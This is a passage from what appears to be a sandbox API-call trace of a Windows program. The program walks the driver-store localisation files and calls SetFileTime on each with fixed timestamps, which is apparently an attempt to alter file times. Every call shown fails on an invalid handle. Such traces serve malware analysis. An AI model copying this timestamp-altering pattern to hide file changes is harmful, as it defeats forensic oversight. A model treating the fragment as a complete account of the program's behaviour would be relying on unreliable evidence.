lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.891] CloseHandle (hObject=0xffffffff) returned 0 [0144.891] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hpoa1sd.inf_loc", cAlternateFileName="")) returned 1 [0144.891] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.891] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hpoa1nd.inf_loc") returned="hpoa1nd.inf_loc" [0144.891] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.891] CloseHandle (hObject=0xffffffff) returned 0 [0144.892] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="hpoa1so.inf_loc", cAlternateFileName="")) returned 1 [0144.892] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.892] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hpoa1sd.inf_loc") returned="hpoa1sd.inf_loc" [0144.892] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.892] CloseHandle (hObject=0xffffffff) returned 0 [0144.892] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xecc, dwReserved0=0x0, dwReserved1=0x0, cFileName="hpoa1ss.inf_loc", cAlternateFileName="")) returned 1 [0144.893] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.894] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hpoa1so.inf_loc") returned="hpoa1so.inf_loc" [0144.894] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.894] CloseHandle (hObject=0xffffffff) returned 0 [0144.894] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hpsamd.inf_loc", cAlternateFileName="")) returned 1 [0144.894] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.894] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hpoa1ss.inf_loc") returned="hpoa1ss.inf_loc" [0144.895] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.895] CloseHandle (hObject=0xffffffff) returned 0 [0144.895] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="iastorv.inf_loc", cAlternateFileName="")) returned 1 [0144.895] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.895] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\hpsamd.inf_loc") returned="hpsamd.inf_loc" [0144.895] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.895] CloseHandle (hObject=0xffffffff) returned 0 [0144.896] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="igdlh.inf_loc", cAlternateFileName="")) returned 1 [0144.896] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.896] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\iastorv.inf_loc") returned="iastorv.inf_loc" [0144.896] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.896] CloseHandle (hObject=0xffffffff) returned 0 [0144.896] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="iirsp.inf_loc", cAlternateFileName="")) returned 1 [0144.897] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.897] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\igdlh.inf_loc") returned="igdlh.inf_loc" [0144.897] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.897] CloseHandle (hObject=0xffffffff) returned 0 [0144.897] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="iirsp2.inf_loc", cAlternateFileName="")) returned 1 [0144.897] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.897] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\iirsp.inf_loc") returned="iirsp.inf_loc" [0144.898] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.898] CloseHandle (hObject=0xffffffff) returned 0 [0144.898] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="image.inf_loc", cAlternateFileName="")) returned 1 [0144.898] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.898] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\iirsp2.inf_loc") returned="iirsp2.inf_loc" [0144.898] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.899] CloseHandle (hObject=0xffffffff) returned 0 [0144.899] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x700e, dwReserved0=0x0, dwReserved1=0x0, cFileName="input.inf_loc", cAlternateFileName="")) returned 1 [0144.899] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.899] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\image.inf_loc") returned="image.inf_loc" [0144.899] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.899] CloseHandle (hObject=0xffffffff) returned 0 [0144.900] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipmidrv.inf_loc", cAlternateFileName="")) returned 1 [0144.900] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.900] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\input.inf_loc") returned="input.inf_loc" [0144.900] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.900] CloseHandle (hObject=0xffffffff) returned 0 [0144.901] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x39a, dwReserved0=0x0, dwReserved1=0x0, cFileName="iscsi.inf_loc", cAlternateFileName="")) returned 1 [0144.901] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.901] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\ipmidrv.inf_loc") returned="ipmidrv.inf_loc" [0144.901] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.901] CloseHandle (hObject=0xffffffff) returned 0 [0144.901] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keyboard.inf_loc", cAlternateFileName="")) returned 1 [0144.901] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.902] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\iscsi.inf_loc") returned="iscsi.inf_loc" [0144.902] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.902] CloseHandle (hObject=0xffffffff) returned 0 [0144.902] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ks.inf_loc", cAlternateFileName="")) returned 1 [0144.902] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.902] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\keyboard.inf_loc") returned="keyboard.inf_loc" [0144.903] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.903] CloseHandle (hObject=0xffffffff) returned 0 [0144.903] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0x0, dwReserved1=0x0, cFileName="kscaptur.inf_loc", cAlternateFileName="")) returned 1 [0144.903] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.903] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\ks.inf_loc") returned="ks.inf_loc" [0144.903] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.904] CloseHandle (hObject=0xffffffff) returned 0 [0144.904] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ksfilter.inf_loc", cAlternateFileName="")) returned 1 [0144.904] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.904] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\kscaptur.inf_loc") returned="kscaptur.inf_loc" [0144.904] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.904] CloseHandle (hObject=0xffffffff) returned 0 [0144.905] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2eda9c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2eda9c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lltdio.inf_loc", cAlternateFileName="")) returned 1 [0144.905] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.905] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\ksfilter.inf_loc") returned="ksfilter.inf_loc" [0144.905] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.905] CloseHandle (hObject=0xffffffff) returned 0 [0144.906] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="lsi_fc.inf_loc", cAlternateFileName="")) returned 1 [0144.906] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.906] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\lltdio.inf_loc") returned="lltdio.inf_loc" [0144.906] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.906] CloseHandle (hObject=0xffffffff) returned 0 [0144.906] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x898, dwReserved0=0x0, dwReserved1=0x0, cFileName="lsi_sas.inf_loc", cAlternateFileName="")) returned 1 [0144.906] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.907] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\lsi_fc.inf_loc") returned="lsi_fc.inf_loc" [0144.907] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.907] CloseHandle (hObject=0xffffffff) returned 0 [0144.907] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x740, dwReserved0=0x0, dwReserved1=0x0, cFileName="lsi_sas2.inf_loc", cAlternateFileName="")) returned 1 [0144.907] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.907] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\lsi_sas.inf_loc") returned="lsi_sas.inf_loc" [0144.908] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.908] CloseHandle (hObject=0xffffffff) returned 0 [0144.908] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="lsi_scsi.inf_loc", cAlternateFileName="")) returned 1 [0144.908] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.908] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\lsi_sas2.inf_loc") returned="lsi_sas2.inf_loc" [0144.909] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.909] CloseHandle (hObject=0xffffffff) returned 0 [0144.909] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x30756, dwReserved0=0x0, dwReserved1=0x0, cFileName="machine.inf_loc", cAlternateFileName="")) returned 1 [0144.909] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.909] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\lsi_scsi.inf_loc") returned="lsi_scsi.inf_loc" [0144.909] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.909] CloseHandle (hObject=0xffffffff) returned 0 [0144.910] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x472a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mchgr.inf_loc", cAlternateFileName="")) returned 1 [0144.910] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.910] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\machine.inf_loc") returned="machine.inf_loc" [0144.910] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.910] CloseHandle (hObject=0xffffffff) returned 0 [0144.910] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcx2.inf_loc", cAlternateFileName="")) returned 1 [0144.910] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.911] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mchgr.inf_loc") returned="mchgr.inf_loc" [0144.911] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.911] CloseHandle (hObject=0xffffffff) returned 0 [0144.911] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr002.inf_loc", cAlternateFileName="")) returned 1 [0144.911] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.911] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\Mcx2.inf_loc") returned="Mcx2.inf_loc" [0144.912] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, 